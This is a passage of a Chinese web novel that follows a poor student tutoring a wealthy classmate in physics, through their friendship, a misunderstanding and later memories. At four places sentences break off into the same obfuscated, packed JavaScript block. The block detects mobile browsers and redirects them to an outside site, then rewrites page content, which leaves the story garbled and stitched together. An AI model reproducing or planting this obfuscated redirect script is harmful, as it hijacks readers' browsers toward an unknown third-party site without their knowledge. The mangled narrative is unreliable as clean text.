“我不知道。”裴子骞答:“原来你叫卞皎。” 对方的眉变成轻轻皱起。 “你失忆这么快?昨晚你在教室抽烟,我提醒你保安来了,当时你叫了我的名字,叫我跑……哦,我明白了,你是怕我揭穿你,所以装不认识我,对不对?” 裴子骞没有说话。 对方等了三秒,轻轻嗯了一声,尾音上扬。走回到白色椅前,他坐下,转了个圈:“你放心,我不会拆穿你,只要你再回答我一个问题。” 这是自那个姓郑的叔叔离开房间后,他问的第四个问题,裴子骞想。 他不说话,对方也没有要得到他同意的意思,抬着脑袋径自开口:“你的课时费是多少?” 裴子骞张了下唇,没有回答,他感觉自己的头发有些遮挡视线,不能看清对方的表情。 “四百?五百?我爸好像告诉过我一嘴,但是我忘了。不会六百吧?” “五百一小时。” 这是裴子骞调查过金湖区家教市场定下的价格,其实比市价要高出五十,因为他的身份是全国顶尖学府的物理系学生。 一周前他找了一个渠道弄到一张清大学生证,当天下午就去市人民公园天桥下学人摆了写有学历、科目、电话的纸壳,暑季余温正烘,当一双皮鞋停在他面前时,他正在擦拭后颈上的汗水。 是一个中年男人,肚皮稍许挺起,右边腋窝下夹着一个皮包。 裴子骞注意到对方额上并没有任何汗迹,甚至还带着一点冷意,于是朝四下不经意看了一眼,果然发现不远处有一辆黑色汽车,京牌,三叉星车标。 “能教理科全科吗?”对方问。 裴子骞想了一秒,说:“不能,我只教物理。” “哦。”对方说:“金湖你可以去么?” “可以。” “好。”对着他的纸壳拍了张照,对方就走回车上,离开。 直到第二天傍晚接到电话,裴子骞都在斟酌报价。 五十块钱的差距,在家教领域不是小数目,他曾做过小学生数学辅导,那时的薪酬就是五十一小时。然而当他试探说出五百价格时,对方竟然并不在意,直接问中秋能否开始上课,并且在挂断电话后直接为他打来中秋五天的薪资。 按下收款键时裴子骞忽然就想,也许刚刚自己就算再添一百,对方也会答应。毕竟这个世界上,不是所有人都会为了五十元担心,五百也好,五千也好,都不会。 卞皎好像就是这样不会的人。 他听到回答后,哦了一声,裴子骞觉得这很像郑怀远听见自己说只教物理时发出的那声哦。 果然,对方接下来跳过刚刚的话题,说:“你平时话就这么少么?” 裴子骞不知道他为什么要这样问,他发觉从自己进入这间房间到现在,他问的全是无关紧要的问题。 “该说话的时候,我会说。” “好吧。”卞皎说。 说完他又盯着裴子骞看了几秒,不知道在看哪里。 这眼神令裴子骞回想到自己方才刚从别墅区外进来时,在花坛旁蹲着看花的一个小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305261|165050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男孩。他为此停下看了一会儿,结果是小男孩将那朵垂下来的木芙蓉摘掉,然后又嫌花瓣粘手扔在地上,最后还拿脚在上面狠狠碾来碾去,像是在玩一种把花汁抹在地上的游戏。 男孩看花时,就是这样的眼神。 空调冷气很足,裴子骞忍不住侧了下头,像是看了一眼空调温度。 十八度。卞皎收回目光在椅子里又转了一个圈,转回来时,他似乎发现裴子骞张唇要说什么。但还是出声打断了:“我们每天都要上课吗?” 裴子骞不是很习惯他口中的我们。 “我每天都会来。” “五百块,一节课两个小时,就是一千块,对不对?” “嗯。” 卞皎双脚踩地,停住椅子,“一千块一节课?这么便宜啊。” 裴子骞这才发现他的拖鞋不知道什么时候被甩在了一边,脚上只有一双浅蓝色的袜子,带着耐克勾标。 他站起来,重新走到他的面前。好像是感觉脚下有点凉,于是又先低下头去找勾了一只拖鞋,这时裴子骞看见他的左眼上那颗小痣显露出来,那颗痣刚好藏在眼皮褶皱里,卞皎再次抬眸时,痣就消失。 他笑了一下,窗外洵白的光线映在他眼底,像是闪着什么狡黠的火花—— “买你一晚,是不是也是这个价?” 裴子骞的眸滞了一瞬,呼吸好像也随之停滞,像是不确定自己听见了什么。 于是对方就又重复了一遍:“我买你一晚,一千够么?” 裴子骞的眉终于缓缓收紧,卞皎看见他菲薄的两片嘴唇也抿起来了,唇角平直得像根线。 卞皎的笑就更大,眼角弯起,像是达到了目的的得逞。却听裴子骞忽然说:“不够。” “……什么?”卞皎怔了下。 “我说,一千不够。” “你要多少?” 语音刚落,就见裴子骞朝前挪了一步,和他的距离瞬间拉近。 冷气声音嗡响,只是此刻制冷似乎没方才优秀,总之裴子骞用一种垂着的视线看向身前之人,仿佛讨论的是下课后去小卖铺买冰可乐还是冰雪碧,而非此刻的在高中生之间禁忌的话题—— “你的话,多少都不考虑。” 22.P-月银2 第一次正式授课,过程奇怪,结果却并不是不欢而散。 裴子骞说完这句话后就退回,去黑色双肩包中取课本,卞皎还站在原地。他再次回过头来时,见卞皎的眉皱得很紧很紧,好像是不明白他为什么说句话。 “我在开玩笑。”卞皎说。 裴子骞翻书页:“我也在开玩笑。” “你的话不像玩笑。” 裴子骞抬头,手中的书合上:“你的话就很像么?” “好吧,对不起。”卞皎坐回到旋转椅中:“你还是要给我讲课的吧?” 裴子骞没答他,只晃了晃手中的书。 少年人就是这样,向来万事说过就过,一两句的争端不过是再常见不过的插曲,卞皎在这方面尤是。他盯着裴子骞书中那本物理必修三,粉黄书皮封面,露出来的内页部分干干净净。 卞皎乐了:“你不是年级第一吗,都不做笔记?” 裴子骞说:“物理不需要笔记。” 卞皎哽了一下,然后眼睛亮起来。真是巧了,从小到大,他最不爱的就是做笔记,从小学语文课上被老师点名批评为什么在该做笔记的地方画小人,到高中老师根本找不到他的人,这个习惯持续至今。 “英雄所见略同,”卞皎说,“事实上我觉得任何一科都不需要笔记。” 裴子骞听见这话,抬头看他一眼。 卞皎莫名觉得那眼神里有话。裴子骞可能是在用眼睛对他说,以你的成绩,还没有资格说这样的话。 但他错了,因为裴子骞根本不知道他的成绩。 “你开学考年级排名是多少?”卞皎听见裴子骞问。 卞皎就报了一个数字,然后就见对方的眼底划过一丝诧异。 “你以为我的成绩很差?”卞皎不愿被看轻,细数光辉历史:“我好歹是从省七中转来的,英语也考过年级第一,在首都的时候,我还拿过演讲比赛金奖,并不是说所有需要补物理的人都是成绩差的——” “你物理多少分?” “十六。” 裴子骞默了一下:“是班级排名?” “不,”卞皎摇头,很认真,“是分数。” 说完这话,他眼睛一眨不眨地把裴子骞看着,还是之前那副看花的眼神,又像是在等待捕捉蝴蝶的猫。见裴子骞许久没有说话,他只能先问:“如何?” 他的眼睛真的很大,瞳仁并不是令人觉得冰凉的纯黑,但正因如此,更显清澈。 “很好。”裴子骞动了下喉结,感觉自己在这一刻明白了什么叫做语言的艺术:“上升空间很大。” 这一次下课后,卞皎趴在桌子上不说话。 郑怀远知道结束,夹着一个皮包进来问怎么样,裴子骞看了一眼,发现那皮包比自己初次见到时膨了许多。 “我要死了。”卞皎说。 裴子骞在一旁收拾物品,就见郑怀远进门,把腋下的皮包拉开,果然是一片刺眼的红。他从中抽出一叠薄现金,数了下递给卞皎。 “别死,天天向上。” “老郑,我已经凉了,钱不是万能的。” 裴子骞在旁边听到这句话,竟有些想笑。他不清楚卞皎是否知道这句话后还有一句广为流传的调侃,那才是最符合事实的真理。 显然郑怀远是知道的。 他又从包里抽了一叠,这次分成两半,一半先给卞皎:“够了吧?”卞皎终于没精打采坐起来。郑怀远笑:“没有钱办不成的事,懂不懂?” 剩下一半,他转了个方向,递向裴子骞。 裴子骞有些茫然,首先的反应竟是垂眸去看还坐着的卞皎。卞皎支着个脑袋,手里松垮垮地捏着钞票,并没有去点具体数量,视线相撞时,似乎没有料到自己会突然和裴子骞对视,居然一下坐直。 裴子骞将视线从他翘起的头发上收回,越过红色钞票,他看向郑怀远:“叔叔,我已经收过课时费。” “拿着,不是一回事。”郑怀远的气场似乎比第一次天桥下的见面要柔和许多,他将钱直接塞进裴子骞手里:“我知道我这个儿子不好管教,你上大学,首都消费高,实在不行,就当这是叔叔的见面礼,不用客气。” 裴子骞这下没再说话,只又垂眸。 他发现卞皎又趴回了桌上,一头黑发毛绒绒,将蓝色圆珠笔倒顶在桌上弹来弹去,似乎这一切对他而言,万般无聊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305262|165050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这天下课,裴子骞没有直接回家,而是又去了一次第一人民医院,用刚收到的钱以及之前的钱往医院祖母账户里存了一万。在此之前,医生已与他提过好几次,此前预存的两千远远不够。 出医院后,外面已近天黑,阳市的道路从上个世纪设计之初便存在问题,晚高峰的华灯初上,车流壅塞得密不透风。 等待公交的裴子骞在此之外,漠不关心。 他从书包侧兜里拿出旧款的三星手机,这是在大伯一家几经流转的老古董盖乐世S4,现今已存世七个年头,解锁画面能卡成幻灯片,来消息时呼吸灯会闪烁绿光。他耐心地等待着手机回应他的点击,按计划,他应该听到音乐管理器中缓存好的第五个英文演讲。 忽然,他的手指顿住。 他想到上午在金湖时,卞皎说他得过首都的演讲比赛金奖。 很多时候,裴子骞都不懂自己在想什么,比如他其实并不该假装大学生去应聘家教,在被卞皎问出那句讽刺性极强的问题后也不应该还留在原地,郑怀远递来的钞票他也不该心安理得地接。但好像一切变故都围绕着一个圆心发生,他被死死框在半径范围里。 总之这一天,他没有完成预先定好的听力计划,而是花了整整两个小时的时间,将首都的初中演讲比赛搜了个遍,最后,终于在一个音频上停留。 这是一场面向中学生的市级赛事,画面中的人一袭深蓝色英式校服,还处在发育期,个子比现在要小许多,皮肤倒一如既往的白皙。 他抽到的主题是“遗憾”。 “尊敬的老师、亲爱的同学们,大家好,我是来自首都中学的卞皎,今天我演讲的题目是《如果遗憾有颜色》……” 声音也和现在不同,裴子骞想。 演讲时长三分二十三秒,他从头到尾看了六遍,直到划掉提示流量使用情况的短信,才终于退回桌面。锁屏手机,他站起身,到客厅接了一杯水。再次回到卧室,他径直点开浏览器,毫不犹豫地下载了那个演讲视频。 视频上的人举止大方,一双眼睛仿佛带着天然微笑的弧度—— “如果遗憾有颜色,我想,应该是月银的蓝。” 23.P-鬓角3 第二天去金湖前,裴子骞被大伯叫住。 他从五岁起就和大伯家同住,老式的自建楼,独自住第三层。今天不必去医院陪同祖母做检查,因此出门时是早晨七点半,大伯在这时出现,比平常早近四个小时。 “医院昨天上午给我打电话……”他站在楼梯上方说。 逼仄窄小的楼道声音回响,裴子骞不必听完:“我交过了。” “是吗?”大伯的语气有些惊讶:“你交了多少?” “该交多少就交了多少。” 大伯似乎猜不出来他所谓的该交多少是多少,事实上这一个月里他只去过两次医院,每次停留不过几分钟。 “大伯这些天确实手头紧,你知道我年初买了辆车去开网约车,每个月光车贷就是笔费用,工作一天都不能停。祖母的事情确实麻烦你,不过你也是她的儿孙,这都是该做的。大伯这些天也在忙一个好项目,势头很好,不过这话你别告诉你伯母……” “我还有事。”裴子骞打断,朝楼梯下走:“先走了。” “等一下。”大伯又叫住他:“今晚中秋,你回家吃饭吧。还有,你的头发,要不找个时间让伯母给你剪短?” 裴子骞抬头看他一眼,取下左手手腕上的发绳。 将头发扎起,他说:“不用。” 说不清他回答的是回家吃饭和剪短头发中的哪一句话,总之镂空窗阳光点洒,大伯就只能看见一抹天蓝色朝楼下走去。 衣角翻飞像风。 - 今早五点郑怀远便出门,飞机去外地,走前他对卞皎说也许中秋假期结束前赶不回来。 于是裴子骞按过门铃后,见到的便是一脸困意的卞皎。 裴子骞主动提:“要不要改个时间。”说出后他便后悔。 他的中秋没有多余假期,除了第一天外,每一个下午都在社区超市排满了班。 “不要。”卞皎打了一个哈欠:“下午是用来玩的,物理勿扰。” 裴子骞点头,二人就朝二楼上走,卞皎走在前面,扶着扶手整个人松松垮垮,上到一半,他忽然停步回头。 “裴子骞。”他叫了一声。 裴子骞也停下步子,看着他。 卞皎的表情看起来很正经,甚至有点严肃,配上他还未睡醒的头发,整个人仿佛散发出爽身粉的安心香气:“我好像有个问题没问你。” 裴子骞示意他问。他相信他还有很多个问题没问他。 卞皎于是发问:“你为什么可以留长发。” 裴子骞挑了下眉,他不懂为什么今日早上的每一个人都如此在意自己的头发。 想了一下,他答:“我的不算长发。” “可是比高中生规范发型长,”卞皎说,“阳中开学典礼上不是就放过标准图吗?” 说着他突然笑起来:“我当时看到图片,还想说那个头发和光头有什么区别,可惜一个人都不认识,没法找人一起吐槽,结果下一个环节你就上台发言了。你是什么来着,哦,优秀学生代表,但是留着一头不符合规范的头发,难道说是年级第一可以有特权吗?这也太不公平了……” 他笑的时候从不控制面部表情,眼睛真的弯得很厉害,裴子骞觉得自己终于懂得为什么书上要将人的笑眼比喻做月牙。 裴子骞忍不住说:“也许和你一样。” “嗯?”卞皎停下笑,眼眸里盛着疑惑,“什么一样?” “学校不允许请假超过一周,但你请了,并没有被开除。不允许留长发,但我留了,也并未被开除。” 卞皎听得回答,思索一刻,说:“好像是。你说得没有错,我就说学校都是纸老虎。” 说完他像是得到满意答案,转身继续上楼。 裴子骞跟在他身后,却在心中对自己说,不是,并不是这样。 请假超过一周和留不规范发型一样,在阳中都是重罪,极少姑息,自己未被追究的原因有很多,最大的一个原因也许确实如卞皎所说,是年级第一的特权。 而卞皎的原因呢? 裴子骞看着卞皎的背影,站住步子。 “卞皎。”他叫住他。 这一天的天气真的很好,秋高气爽万里无云,别墅的窗面墙外可以眺见远处金湖风景,海天一片湛蓝。当卞皎回过头来时,从裴子骞的视角便能看见他仿若站在这片蓝色之中。 他动了动唇,想问眼前这个人,你是真的不知道么? 你是真的不知道,你拥有世界上最大的一种特权吗?你知道''不公平''三个字出现在你的口中,有多么可笑吗? 但他最后什么也没问。 就好像这片空气中有一种凝固他双唇缝隙的胶剂,把一切的忿然与不甘都统统消解,好像心底有一个声音在告诉他,全世界都与钱离不开关系,但唯独在这个地方,你不能提钱,因为钱最不值得一提。 见裴子骞叫了自己却一言不发,卞皎的双眉轻轻泛了一个波澜,眼神的意思是你有什么话要说么? 裴子骞盯着他看了几秒后,就移开。 “没事。” 卞皎却忽然像想起什么:“哦,我有事!” 他走下来两步:“你今天下午有安排吗?我有两张中秋游园票,下午入场,听说晚上还有烟花。本来老郑说带我去的,但是他水了我,怎么样,你有空吗?” 裴子骞听完他的话,缄默几秒,竟然笑了。 他不清楚自己分明和卞皎才认识两天,对方怎么在这种事情上找到自己。 “我没有空。”裴子骞说:“我下午有兼职。” 说出口的瞬间,他察觉自己心里有一种紧绷了许久而被放下的如释重负。 卞皎听完哦了一声。 “这样啊。” 他往上走了几步,终于走到二楼。 “可是这个好难得,”卞皎忽然又转过来,“你知道,现在很难在市区里放烟花了……你可以请假么?” 裴子骞被锢在最后一阶楼梯。 他抬眸,想这个人是在说笑吗。 “如果请假,我又为什么要去做兼职。”他的声音比方才要平,不带问号。 卞皎终于像是被问住,啧了一声转过身,不再说话。 上午授课很快结束,后半程的卞皎被静电场揉搓压扁,焉得像颗漏心汤圆,趴在桌上往自己额前的头发上吹气。 裴子骞在一旁收拾好东西,离开二楼时,没有和他道别。 从金湖走出,裴子骞照例乘公交去了一趟医院,祖母是糖尿病引起的血管堵塞,一年前做过手术 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309059|165050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。午后的病房很安静,三个床的病人都在睡觉,他便只给她掖了下被角就离开。 社区超市下午两点准时上班,裴子骞暑假在这里兼职过,因此中秋人手缺乏时,店长第一个找到他。 他的工作并不复杂,只是负责给商品入库登记,但前两天逢上店里店员请假,商品一连积累了三天的量,加上每天还在增加的新品,这份工作不能用轻松形容,两个小时后,进度才到一半。 阳市的秋寒来得晚,仓库又不透风,裴子骞时常要起身到外面透气,偶尔抽一根烟。 这一次喝水时,他听到店里的电话响了,店长接起,朝他这边看了眼,不知道内容具体是什么,总之半小时后,一个熟悉的身影出现在库门前。 “你怎么不接电话。”卞皎拿一把路边扫码赠送的扇子在脖子边扇,脸蛋扑红:“我真的找了好久!” 仓库外的烈日像缤纷气泡下的光晕,第一眼,裴子骞只注意到他穿了一件淡天蓝色的宽短袖,上面还有五颜六色的字母,有几缕头发被汗水洇湿,耷在额前。 裴子骞站起来,给他拧开一瓶矿泉水,卞皎就接过。 看到卞皎咕嘟咕嘟喝了一大口之后,他才问对方:“手机放在外面充电,找我做什么?” 卞皎没有直接回答,只说:“你是不是只有这一项安排了?” 裴子骞立即懂得,这位少爷还在想让自己陪他去那场游园会。 游园会自两个月前就开始宣传,就在金湖片区,据称彼时会有烟花秀和无人机表演,票源紧俏。裴子骞看了眼卞皎濡湿的鬓角,那汗水顺着下颌流到下巴尖,然后轻轻滴落在地,他不知道这个人今天下午吃了多少个闭门羹,才会再找上已经拒绝过一次的自己。 “你找我做什么?”裴子骞再度问。 卞皎像是根本没有听到他渐冷的语气,又或者是听到了但并不在意。 “找你当然是要帮你忙啊。”他把喝了一半的水瓶放在一边,然后拉了根板凳坐下,抬起头看裴子骞:“就是这些吗?” 裴子骞不明白:“什么意思?” 卞皎说:“你说有兼职走不开,那代表工作提前完成的话就可以去游园会了,对不对?别想说不对,我刚刚问过店长阿姨,她说这批货入完我就可以带你走。” 说着他弯下腰对着一件货物扫码,动作其实有些笨拙,但可以看出在伪装熟练,微微带点栗色的头发这时就全部倒向一边,好像在瞪大眼睛看扫码枪上显示的文字。 裴子骞看着他的动作,张了张唇,良久道:“为什么帮我?” 卞皎这样的人,明明可以直接拿着两张票来上门,强迫自己走,或者他还可以找更多的其他人,比如司机,比如保姆,甚至裴子骞相信,假如卞皎真的执意要撒泼打滚让郑怀远回来陪他,那郑怀远一定也会二话不说买最快的动车或者飞机回到阳市。 可他没有。 他在这个室温三十四度的下午突然出现在自己面前,流着三叉星车标的轿车里绝不可能出现的汗水,喝了半瓶水后说要帮自己,不容拒绝。 卞皎听到裴子骞的问题,扫码的动作停下。抬起头来,他的眼神里好像带着很多的不解。 “因为我们是朋友啊。”他说:“游园会要放烟花,我想和你一起看。” 24.P-朋友4 “朋友”这个词,裴子骞很少听到。 五岁前他和奶奶一起生活,五岁后搬进大伯的自建房里,自建房在一条很深很深的小巷,邻里之间互相认识。他的身份从不是谜,也许是还带有一点小城市里难见到的浪漫色彩,任何一家的孩子都能如数家珍。 “你说裴子骞啊?他的爸爸妈妈都不在,听说是私奔呢,什么,你不知道私奔是什么意思?你真笨,我告诉你,私奔就是两个人一起离开自己的爸爸妈妈,然后再也不回家。” 第一次听到这段话时,裴子骞还在念小学,头发为了方便清洗被伯母剃得很短很短,傍晚回家时脑后有一块很明显的血痂,家里的谁路过都看了一眼,但谁都没提。最后他自己爬到衣柜很高的地方取下红药水,用棉签把后脑擦红一片。 第二天后那段话被改掉了。 “你说裴子骞啊?他的爸爸妈妈都不在,听说是殉情呢,什么,你不知道殉情是什么意思?你真笨,我告诉你,殉情就是两个人一起离开自己的爸爸妈妈,然后再也不能回家。我在讲大话?当然没有,这是昨天我和裴子骞打了一架之后,他告诉我的……” 裴子骞从此不再管这些闲话。 他想这些小孩真的没意思,私奔和殉情都分不清,他也再也不要和人打架,否则疼的是自己,还要搬凳子爬到很高很高的地方去取药水,半夜枕头都被睡脏,洗干净后几天才能变干。 上中学后,也许是小时候打架伤得太疼的原因,裴子骞的头发一度留得比校规要求的长,好像几千根头发就能保护他的后脑勺不受任何打击。这样的特立独行很快引起学校里的一些人关注,有女孩学着偶像剧往他桌洞里塞意味不明的粉色信封,有男孩在放学路上问他这么招摇是不是不给其他人面子,于是这一天裴子骞亲身力证了人的头发并不是毫无用处,至少打过架后不用再涂红药水。 总之裴子骞想,自己十六年来没有听过“朋友”这个词却还是活得好好的,这意味着朋友根本没有用。 所以卞皎说出这句话时,他的第一个反应是,我们是朋友? 也许是天气实在太过闷热,他又没怎么喝水,一句话到了嗓眼边却换了语调,凭空去掉一个问号:“我们是朋友。” 卞皎没有抬头,纤白的指节在货架上摩挲,很轻很轻地嗯了他一声:“朋友。” 裴子骞就第一次知道,原来朋友就是突然出现,然后说要帮助你,并且不容拒绝。 两个人干活总比一个人快,一个小时出头店长就进来验收成果,十分钟后卞皎带着裴子骞出门右转,在路边上了那辆见过很多次的黑色轿车。 车内的冷气开得很足,皮肤被激得激灵。卞皎递来一块湿纸巾擦手。 这场旅程并不好过,裴子骞的头只固定在座椅的正中央,生怕因为摩擦或者什么将真皮坐垫弄出损伤,卞皎却已靠在车门边睡着。他睡得很熟,也很放松,眼皮闭拢时就露出一颗浅棕色的小痣,裴子骞不是第一次注意到这颗痣,但视线还是不由在上面停留很久,就好像多看几眼,自己就能和对方一样放松。 半个小时后,车在金湖湖畔停下,司机说因为交通管制的原因,今天不能再往里开。 卞皎的眼睛刚刚睁开,带着惺忪睡意,那颗痣模糊隐去,裴子骞就慌忙地将视线移向窗外,装作在看湖边景色。 这时已是傍晚七点,放晴一日的金湖天空蓝得像海,卞皎顺着他的视线朝外望,声音顿时有些兴奋:“没关系,我们可以下车走进去。” 他们下车。 有水便有清凉,这句话果然没错,烈日炙烤一天,此时本应该是一日之中最闷热的时段,金湖湖畔却有柔软湖风拂来。卞皎和裴子骞一起往新搭建的检票口走去,排队的人很多。 卞皎这时拿出手机:“裴子骞,加个微信。” 裴子骞滞了一秒,他左手在裤兜里握紧手机,微微有些出汗。 “我不用微信。” 他想自己并没有撒谎。用不了,不就等于不用。 “哇,”卞皎闻言锁屏,“真的吗?那你平常怎么和人联系?” “电话。” “不是,我是说和朋友联系,”他明显不信,“现在哪里有人爱打电话。” “短信。” “哦……”卞皎想了想,说,“好吧,不过发图片就好麻烦。” 何止麻烦,裴子骞想,他一定不知道彩信五毛钱一条,就像现在没有人爱打电话一样,现在也没有人会发彩信。 忽然,他感觉自己的手机震动一瞬,迟疑地拿出来,闪着绿灯的呼吸灯代表有一条新讯息。 “你这个还会亮灯啊。”卞皎凑过来,裴子骞闻到他身上有很淡很淡的一股柔顺剂香:“快打开看看!” 裴子骞就打开那条新短信,发件人是卞皎,内容是一张图片。 卞皎侧头看他:“我刚拍的天空,好不好看?” 裴子骞还没看清图片的内容,就先看清他的眼睛,黑白分明的瞳仁倒映着蓝天一片,笑得弯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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四周人声鼎沸,但有一个人这一刻在等他说话。 他感觉商铺灯光同那双眼睛比都暗了很多。片刻后,终于抬手从对方手中接过装有文创短袖的那个袋子,打开看了一眼,又合上,低头轻笑一声。 抬眸对上那人的眼睛。 “可是真的很丑。”他终于笑着说。 25.B-白猫1 一场梦醒。 裴子骞按开床头灯光,摸出一根香烟点燃,直到尼古丁深入肺里,他才感觉自己的手不那么颤抖。 自从入住金湖酒店已来,他连做三天旧梦,梦里的每一个画面都无比清晰,好像一切就发生在昨天。 可是已经过去很久,真的很久。 一根烟快要燃到尽头时,宋清的电话打来,接起后对方没有给他说话的秒数,声音急切好像有人在追:“Chan,我今天的活动去不了,奖金随你扣,真的,你自己去。” 说完电话便被挂断。 裴子骞盯着不过四秒的通话记录反应了一下,抽掉最后一口烟,从床上起身,走到阳台边。 阳台外就是金湖,此时天光未亮,只能看见湖水隐在乳白光线之中,辽阔一片。裴子骞又点燃一根烟,烟点就在晨风里明明灭灭。 他想分明过去这么多年,为什么还要让他梦到那些画面,难道人的大脑就是这么不吃疼,明知第二天一切就会走向完全相反的走向,却还要不断揭开伤疤—— 在与卞皎去完游园会的第二天,他在下午为了送一样不甚重要的东西,折返。 卞皎家有一片很漂亮的花圃,那天午后阳光正好,他远远看到卞皎蹲在一株粉色芍药前,伸手一下一下地捋动花瓣。这个时候,有人早他一声叫出卞皎的名字,是不知道什么时候出差回来的郑怀远。郑怀远手上端了一盘水果,深蓝色的,应该是蓝莓,裴子骞的脚步就停住,其实他也不知道自己当时为什么要停住,但就是停住。 郑怀远将蓝莓递给卞皎,问了一句什么。裴子骞就看见卞皎仰起头,表情似乎很是不耐烦。 “不好玩,不要问了。而且他话很少,上课虽然还好,但是我们都聊不到一起去……” 裴子骞当下就能听出来,谈论的对象是自己。 “我跟他做不成朋友,真的。” 这么多年过去,他真的从未想通这天下午,分明前一天还对自己说“因为我们是朋友”的人,怎么第二天就能说出完全相反的论断。这天之后,他就有意与卞皎重新疏远,他想朋友这个词代表的确实不是什么不可或缺的东西,反而真正听到后才让人受伤。 其实多年过去,人已长大,裴子骞也有想过自己当初是不是太过幼稚,怎么对方一句闲话却牢记这么久。交朋友本身就没那么简单,况且卞皎说的没有错,他话很少,都需要对方来引出话题,也时常与他聊不到一起去,朋友也有远近亲疏,也分不同种类,但…… 但他就是无法忘记,卞皎对他说我们是朋友时的眼睛。 即使后来他们变得亲密,做过许多出格的事情,情到浓时也说过更私密更独一无二的话语,裴子骞却永远将那时的那双眼睛排在第一。其实他也知道,爱本不该有排名,但总有那么一些画面就像故事里的高潮令人无法忘却,他不是童话故事里完美无缺的王子,他的私心更像是雪夜里女孩点燃的最后一根火柴,宁愿给自己留下最美好的愿景,也好过冰冷地宣告死去。 又一通新来电响起,裴子骞低了下头,弹掉烟灰,没有回身去接。直到铃声自动挂断又再次响起,他才转身回房,一根烟碾灭在指尖。 “喂,Chan,宋的电话我打不通——”是助理。 裴子骞说:“不用打,替我们取消今天的所有安排。” 他不知道宋清发生了什么,但他知道自己。自从回国,一切都不太好,既然沉溺在过去,那不如将这故地重游当作最后的福尔马林。 爱吻恨离,今夜统统放肆忆。 游园会结束的第三天,裴子骞照常来给卞皎上课,只是除了课本内容外,他有意不再和对方说更多。 卞皎这个人,虽然物理成绩真的不好,数学也很差劲,但总归如他自己所说,这并不能代表他不聪明,甚至相反,他聪明过劲。他好像很轻易就能察觉到裴子骞的心情阴晴变化,回避对方不想聊到的话题,一节课两个小时,裴子骞不搭他的闲聊,他就把头趴在桌上,一会儿看题,一会儿看他的眼睛,一点不会越界。 中秋假期剩下的两天时间也都这样度过,直到返回学校,一切才开始改变。 当在放学路上忽略今天第五次试图朝着他打招呼的卞皎,却还是被对方堵在巷子里问为什么不回应他的时候,裴子骞心里终于有些忍无可忍。这个人是没有记忆力,还是师从哪家大师学过专业的变脸,或者说是自我意识过剩?自己凭什么要回应? 这天的天气并不好,是阳市最经典的乌云蒙蒙,除了落日外没有多余的颜色,裴子骞一向在阴雨天气困倦,此刻更是感觉自己连话都不是很想多说一句。于是他只格开对方的小臂,说:“我在学校里面没有朋友。” 他想这是最体面的回答,总比卞皎那句我和他做不成朋友要好上百倍。 卞皎却好像并不领情。他的眼睛在这一瞬突然亮起,眼底倒映着远处的火红色的夕阳。裴子骞甚至可以看见他在笑。 “你在学校里没有朋友?那是不是我在校外就能找你玩了……” 这一瞬间,裴子骞真的没法分辨对方是在装不懂自己的话,还是真的没有听懂。他其实不恨将什么事情都摆到明面上说,相反他更喜欢那种高效率的表达方式,时过多年,他也有想过自己当初是不是就应该把卞皎那句话原路奉还,这样后面的一切都不会再有可能发生。 可是他没有,至少当时的他做不到。 那时他只能看着对方的眼睛很久,感受到自己的唇瓣在动,说出的却不是预备好的伤人的话语。 他只说:“和我做朋友并不有趣。”说完就转身离去,没有看身后卞皎的反应。 后来的几天,卞皎果然不再在校园里和他打招呼。 在人群中相撞时,裴子骞能感觉到对方向自己投来的视线,他也有在对方目光收走后追回去过,出于一种什么心理他自己也不知道,但却能清楚地将对方眸中的失落收入眼底。 这周六的前一天夜里,他出乎意料地无法入睡,一闭上眼就会想起教学楼斑点的日光下,卞皎那双失落的眼睛。 他想卞皎这个人,其实不像他自己所说的那样,是一个成熟的世界旅客。 他不是说来世界做梦一趟,只喜欢快乐吗?既然如此他说和自己是朋友是出于快乐,说和自己做不成朋友好像也是出于快乐,那被自己拒绝后还故作可怜地投来视线是出于什么?依旧是快乐吗?可这个行为好像并不能带来快乐。 裴子骞就想到小时候曾在墙角边看见过的一只野猫。 那时他觉得那只猫咪白色的毛在阳光下带着一种独有的透亮,尤其是懒洋洋从楼顶上起身看他的样子,真的漂亮极了,就常从饭桌上悄悄带走食物,给对方喂食,直到某一日,意外发现这只猫的脚下有一只拳头大的老鼠,尾巴很长,尚还活着,但却被白猫按住尾巴。 